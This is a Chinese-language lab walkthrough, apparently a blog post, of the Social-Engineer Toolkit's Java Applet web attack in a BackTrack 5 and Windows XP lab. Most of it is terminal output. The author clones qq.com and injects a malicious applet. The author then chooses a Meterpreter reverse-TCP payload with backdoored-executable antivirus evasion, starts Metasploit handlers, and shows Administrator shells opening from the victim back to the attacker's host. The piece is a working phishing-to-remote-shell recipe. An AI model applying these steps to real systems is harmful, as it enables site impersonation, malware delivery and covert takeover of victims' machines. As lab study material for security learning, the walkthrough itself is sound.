metasploit的WEB攻击向量

环境:BT5R3,XP SP3,IE6

XP要安装java,并且设置java环境变量

操作如下:

root@bt:/pentest/exploits/set# ./set
                         .--.  .--. .-----.
                        : .--': .--'`-. .-'
                        `. `. : `;    : :  
                         _`, :: :__   : :  
                        `.__.'`.__.'  :_;   

  [---]        The Social-Engineer Toolkit (SET)         [---]        
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]        Development Team: JR DePre (pr1me)        [---]
  [---]        Development Team: Joey Furr (j0fer)       [---]
  [---]        Development Team: Thomas Werth            [---]
  [---]        Development Team: Garland                 [---]
  [---]                  Version: 3.6                    [---]
  [---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---]
  [---]        Report bugs: [email protected]         [---]
  [---]         Follow me on Twitter: dave_rel1k         [---]
  [---]       Homepage: https://www.trustedsec.com       [---]

   Welcome to the Social-Engineer Toolkit (SET). Your one
    stop shop for all of your social-engineering needs..
    
    Join us on irc.freenode.net in channel #setoolkit

  The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 1





                  _______________________________
                 /   _____/\_   _____/\__    ___/
                 \_____  \  |    __)_   |    |   
                 /        \ |        \  |    |   
                /_______  //_______  /  |____|   
                        \/         \/            

  [---]        The Social-Engineer Toolkit (SET)         [---]        
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]        Development Team: JR DePre (pr1me)        [---]
  [---]        Development Team: Joey Furr (j0fer)       [---]
  [---]        Development Team: Thomas Werth            [---]
  [---]        Development Team: Garland                 [---]
  [---]                  Version: 3.6                    [---]
  [---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---]
  [---]        Report bugs: [email protected]         [---]
  [---]         Follow me on Twitter: dave_rel1k         [---]
  [---]       Homepage: https://www.trustedsec.com       [---]

   Welcome to the Social-Engineer Toolkit (SET). Your one
    stop shop for all of your social-engineering needs..
    
    Join us on irc.freenode.net in channel #setoolkit

  The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

set> 2

 The Web Attack module is  a unique way of utilizing multiple web-based attacks
 in order to compromise the intended victim.

 The Java Applet Attack method will spoof a Java Certificate and deliver a 
 metasploit based payload. Uses a customized java applet created by Thomas
 Werth to deliver the payload.

 The Metasploit Browser Exploit method will utilize select Metasploit
 browser exploits through an iframe and deliver a Metasploit payload.

 The Credential Harvester method will utilize web cloning of a web-
 site that has a username and password field and harvest all the 
 information posted to the website.

 The TabNabbing method will wait for a user to move to a different
 tab, then refresh the page to something different.

 The Man Left in the Middle Attack method was introduced by Kos and 
 utilizes HTTP REFERER's in order to intercept fields and harvest 
 data from them. You need to have an already vulnerable site and in-
 corporate <script src="http://YOURIP/">. This could either be from a
 compromised site or through XSS.

 The Web-Jacking Attack method was introduced by white_sheep, Emgent 
 and the Back|Track team. This method utilizes iframe replacements to 
 make the highlighted URL link to appear legitimate however when clicked 
 a window pops up then is replaced with the malicious link. You can edit
 the link replacement settings in the set_config if its too slow/fast.

 The Multi-Attack method will add a combination of attacks through the web attack
 menu. For example you can utilize the Java Applet, Metasploit Browser,
 Credential Harvester/Tabnabbing, and the Man Left in the Middle attack
 all at once to see which is successful.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Man Left in the Middle Attack Method
   6) Web Jacking Attack Method
   7) Multi-Attack Web Method
   8) Victim Web Profiler
   9) Create or import a CodeSigning Certificate

  99) Return to Main Menu

set:webattack>1

 The first method will allow SET to import a list of pre-defined web 
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   
   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack>2
[-] NAT/Port Forwarding can be used in the cases where your SET machine is
[-] not externally exposed and may be a different IP address than your reverse listener.
set> Are you using NAT/Port Forwarding [yes|no]: no
[-] Enter the IP address of your interface IP or if your using an external IP, what
[-] will be used for the connection back and to house the web server (your interface address)
set:webattack> IP address for the reverse connection:192.168.1.11
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:http://www.qq.com

[*] Cloning the website: http://www.qq.com
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: NV6muev
[*] Malicious java applet website prepped for deployment


What payload do you want to generate:

  Name:                                       Description:

   1) Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker
   2) Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker
   3) Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker
   4) Windows Bind Shell                      Execute payload and create an accepting port on remote system
   5) Windows Bind Shell X64                  Windows x64 Command Shell, Bind TCP Inline
   6) Windows Shell Reverse_TCP X64           Windows X64 Command Shell, Reverse TCP Inline
   7) Windows Meterpreter Reverse_TCP X64     Connect back to the attacker (Windows x64), Meterpreter
   8) Windows Meterpreter Egress Buster       Spawn a meterpreter shell and find a port home via multiple ports
   9) Windows Meterpreter Reverse HTTPS       Tunnel communication over HTTP using SSL and use Meterpreter
  10) Windows Meterpreter Reverse DNS         Use a hostname instead of an IP address and spawn Meterpreter
  11) SE Toolkit Interactive Shell            Custom interactive reverse toolkit designed for SET
  12) SE Toolkit HTTP Reverse Shell           Purely native HTTP shell with AES encryption support
  13) RATTE HTTP Tunneling Payload            Security bypass payload that will tunnel all comms over HTTP
  14) ShellCodeExec Alphanum Shellcode        This will drop a meterpreter payload through shellcodeexec (A/V Safe)
  15) Import your own executable              Specify a path for your own executable

set:payloads>2

Below is a list of encodings to try and bypass AV. 

Select one of the below, 'backdoored executable' is typically the best.

   1) avoid_utf8_tolower (Normal)
   2) shikata_ga_nai (Very Good)
   3) alpha_mixed (Normal)
   4) alpha_upper (Normal)
   5) call4_dword_xor (Normal)
   6) countdown (Normal)
   7) fnstenv_mov (Normal)
   8) jmp_call_additive (Normal)
   9) nonalpha (Normal)
  10) nonupper (Normal)
  11) unicode_mixed (Normal)
  12) unicode_upper (Normal)
  13) alpha2 (Normal)
  14) No Encoding (None)
  15) Multi-Encoder (Excellent)
  16) Backdoored Executable (BEST)

set:encoding>16
set:payloads> PORT of the listener [443]:
[*] Generating x64-based powershell injection code...
[*] Generating x86-based powershell injection code...
[*] Finished generating powershell injection attack and is encoded to bypass execution restriction...
[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[*] Backdoor completed successfully. Payload is now hidden within a legit executable.
[*] UPX Encoding is set to ON, attempting to pack the executable with UPX encoding.
[-] Packing the executable and obfuscating PE file randomly, one moment.
[*] Digital Signature Stealing is ON, hijacking a legit digital certificate
[*] Generating OSX payloads through Metasploit...
[*] Generating Linux payloads through Metasploit...

***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************

[--] Tested on IE6, IE7, IE8, IE9, IE10, Safari, Opera, Chrome, and FireFox [--]

[*] Moving payload into cloned website.
[*] The site has been moved. SET Web Server is now listening..
[-] Launching MSF Listener...
[-] This may take a few to load MSF...
[-] ***
[-] * WARNING: Database support has been disabled
[-] ***

 ______________________________________________________________________________
|                                                                              |
|                   METASPLOIT CYBER MISSILE COMMAND V4                        |
|______________________________________________________________________________|
      \                                  /                      /
       \     .                          /                      /            x
        \                              /                      /
         \                            /          +           /
          \            +             /                      /
           *                        /                      /
                                   /      .               /
    X                             /                      /            X
                                 /                     ###
                                /                     # % #
                               /                       ###
                      .       /
     .                       /      .            *           .
                            /
                           *
                  +                       *

                                       ^
####      __     __     __          #######         __     __     __        ####
####    /    \ /    \ /    \      ###########     /    \ /    \ /    \      ####
################################################################################
################################################################################
# WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################



       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

[*] Processing /pentest/exploits/set/src/program_junk/meta_config for ERB directives.
resource (/pentest/exploits/set/src/program_junk/meta_config)> use exploit/multi/handler
resource (/pentest/exploits/set/src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/pentest/exploits/set/src/program_junk/meta_config)> set LHOST 0.0.0.0
LHOST => 0.0.0.0
resource (/pentest/exploits/set/src/program_junk/meta_config)> set LPORT 443
LPORT => 443
resource (/pentest/exploits/set/src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/pentest/exploits/set/src/program_junk/meta_config)> set AutoRunScript migrate -f
AutoRunScript => migrate -f
resource (/pentest/exploits/set/src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
resource (/pentest/exploits/set/src/program_junk/meta_config)> use exploit/multi/handler
resource (/pentest/exploits/set/src/program_junk/meta_config)> set PAYLOAD osx/x86/shell_reverse_tcp
PAYLOAD => osx/x86/shell_reverse_tcp
resource (/pentest/exploits/set/src/program_junk/meta_config)> set LHOST 192.168.1.11
LHOST => 192.168.1.11
resource (/pentest/exploits/set/src/program_junk/meta_config)> set LPORT 8080
LPORT => 8080
[*] Started reverse handler on 0.0.0.0:443 
[*] Starting the payload handler...
resource (/pentest/exploits/set/src/program_junk/meta_config)> set InitialAutoRunScript post/osx/gather/enum_osx
InitialAutoRunScript => post/osx/gather/enum_osx
resource (/pentest/exploits/set/src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/pentest/exploits/set/src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
resource (/pentest/exploits/set/src/program_junk/meta_config)> use exploit/multi/handler
resource (/pentest/exploits/set/src/program_junk/meta_config)> set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
resource (/pentest/exploits/set/src/program_junk/meta_config)> set LHOST 192.168.1.11
LHOST => 192.168.1.11
resource (/pentest/exploits/set/src/program_junk/meta_config)> set LPORT 8081
[*] Started reverse handler on 192.168.1.11:8080 
[*] Starting the payload handler...
LPORT => 8081
resource (/pentest/exploits/set/src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/pentest/exploits/set/src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
msf  exploit(handler) > 
[*] Started reverse handler on 192.168.1.11:8081 
[*] Starting the payload handler...

然后,在XP里用IE6打开http://192.168.1.11,打开了一个克隆的页面:


此时,BT5输出:

192.168.1.142 - - [28/Apr/2013 04:24:35] "GET / HTTP/1.1" 200 -
                                                               192.168.1.142 - - [28/Apr/2013 04:24:35] "GET /index.html HTTP/1.1" 200 -

书上说是会弹出来Java Applet,但是我测试的时候,是没有弹出来的,任务栏上有两个java的图标,点一下,就弹出来Java Applet了:

metasploit的WEB攻击向量_第1张图片

而BT5上输出:

                                                                                                                                        192.168.1.142 - - [28/Apr/2013 04:24:56] "GET /Signed_Update.jar HTTP/1.1" 200 -

然后点击,BT5上就建立起连接了:

[*] Sending stage (752128 bytes) to 192.168.1.142
[*] Meterpreter session 1 opened (192.168.1.11:443 -> 192.168.1.142:1486) at 2013-04-28 04:25:40 -0400
[*] Session ID 1 (192.168.1.11:443 -> 192.168.1.142:1486) processing AutoRunScript 'migrate -f'
[*] Current server process: 1jqihecmqvvdx.exe (1660)
[*] Spawning notepad.exe process to migrate to
192.168.1.142 - - [28/Apr/2013 04:25:47] "GET /NV6muev HTTP/1.1" 200 -
                                                                      ----------------------------------------
                                                                                                              Exception happened during processing of request from ('192.168.1.142', 1487)
                  [+] Migrating to 2168
[*] Sending stage (752128 bytes) to 192.168.1.142
[*] Meterpreter session 2 opened (192.168.1.11:443 -> 192.168.1.142:1488) at 2013-04-28 04:25:51 -0400
[*] Session ID 2 (192.168.1.11:443 -> 192.168.1.142:1488) processing AutoRunScript 'migrate -f'
[*] Current server process: 3e667mcoikze.exe (2188)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2324
[+] Successfully migrated to process 

msf  exploit(handler) > [+] Successfully migrated to process 

msf  exploit(handler) > 

接着查看session,并进入其中一个:

msf  exploit(handler) > sessions -l

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  ROOT-9743DD32E3\Administrator @ ROOT-9743DD32E3  192.168.1.11:443 -> 192.168.1.142:1486 (192.168.1.142)
  2   meterpreter x86/win32  ROOT-9743DD32E3\Administrator @ ROOT-9743DD32E3  192.168.1.11:443 -> 192.168.1.142:1488 (192.168.1.142)

msf  exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: ROOT-9743DD32E3\Administrator
meterpreter > shell
Process 2420 created.
Channel 1 created.
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\桌面>


你可能感兴趣的:(metasploit的WEB攻击向量)